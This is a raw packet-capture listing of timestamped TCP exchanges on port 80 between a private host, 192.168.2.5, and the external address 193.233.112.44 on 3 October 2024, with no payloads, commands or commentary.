Oct 3, 2024 23:17:09.119848967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119873047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119879007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119901896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119915009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119942904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120033979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120065928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120085001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120101929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120121956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120131969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120140076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120166063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120172977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120198965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120204926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120240927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120419025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120450974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120465040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120485067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120490074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120517969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120523930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120551109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120558977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120582104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120584011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120615005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120625019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120649099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120655060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120681047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.120690107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.120723963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121007919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121041059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121052980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121074915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121079922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121109009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121115923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121148109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121203899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121236086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121248007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121269941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121285915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121301889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121306896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121331930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121344090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121365070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121373892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121397972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121402979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121431112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121439934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121464014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121469021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121498108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121503115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121531010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121536970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121567965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121756077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121788025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121808052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121820927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121825933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121855974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121860981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121889114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.121896982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.121927977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.137963057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.138016939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.190671921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190706968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190728903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.190740108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190757036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.190771103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190774918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.190805912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190829039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.190849066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.190855980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190891027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190910101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.190921068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190931082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.190954924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.190979958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191003084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191005945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191040993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191061974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191073895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191098928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191112041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191133976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191145897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191170931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191180944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191204071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191224098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191234112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191268921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191308022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191308022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191318989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191363096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191375971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191426992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191437960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191473007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191482067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191509008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191513062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191544056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191560984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191593885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191612005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191627979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191637039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191658974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191669941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191694021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191699982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191728115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191731930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191761971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191771030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191801071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191899061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191934109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.191966057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.191966057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192001104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192011118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192034960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192044020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192069054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192079067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192112923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192151070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192183018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192195892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192218065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192234039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192253113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192266941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192287922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192297935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192322969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192338943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192369938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192534924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192567110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192585945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192601919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192606926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192636013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192643881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192668915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192681074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192703962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192738056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192738056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192754984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192773104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192787886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192806959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192820072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192842007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192857027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192874908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192881107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192910910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192922115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.192945004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.192955017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193002939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193213940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193247080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193265915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193279028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193303108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193310976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193324089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193344116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193351984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193373919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193384886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193407059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193414927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193439960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193455935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193474054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193506956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193509102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193521023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193541050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193557978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193583012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193583012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193633080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.193648100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.193694115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209537983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.209573030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.209589005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209605932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.209610939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209647894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209698915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.209731102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.209743023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209764004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.209769964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209796906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.209801912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209841013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209891081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.209932089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.209996939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210031033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210150957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210167885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210167885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210194111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210201025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210235119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210243940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210268974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210274935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210303068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210310936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210346937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210464954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210494041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210522890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210531950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210545063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210572958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.210587025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.210613012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262310028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262341022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262372971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262388945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262407064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262412071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262418985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262437105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262450933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262480021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262545109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262577057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262588024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262609005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262624025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262640953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262653112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262691021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262696028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262723923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262733936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262759924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262794971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262798071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262811899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262828112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262835026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262865067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262872934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262900114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262904882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262933016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262939930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.262967110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.262974977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263000011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263005972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263040066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263187885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263220072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263231993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263252974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263262033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263287067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263297081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263322115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263329029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263355970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263362885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263395071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263406992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263449907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263657093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263701916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263717890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263736010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263742924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263768911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263776064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263803005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263812065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263837099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263843060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263874054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263879061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263902903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.263912916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.263942003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281155109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281188965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281220913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281222105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281229973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281260967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281410933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281461954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281461954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281495094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281503916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281536102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281544924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281579018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281586885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281610012 CEST	80	49710	193.233.112.44	192.168.2.5
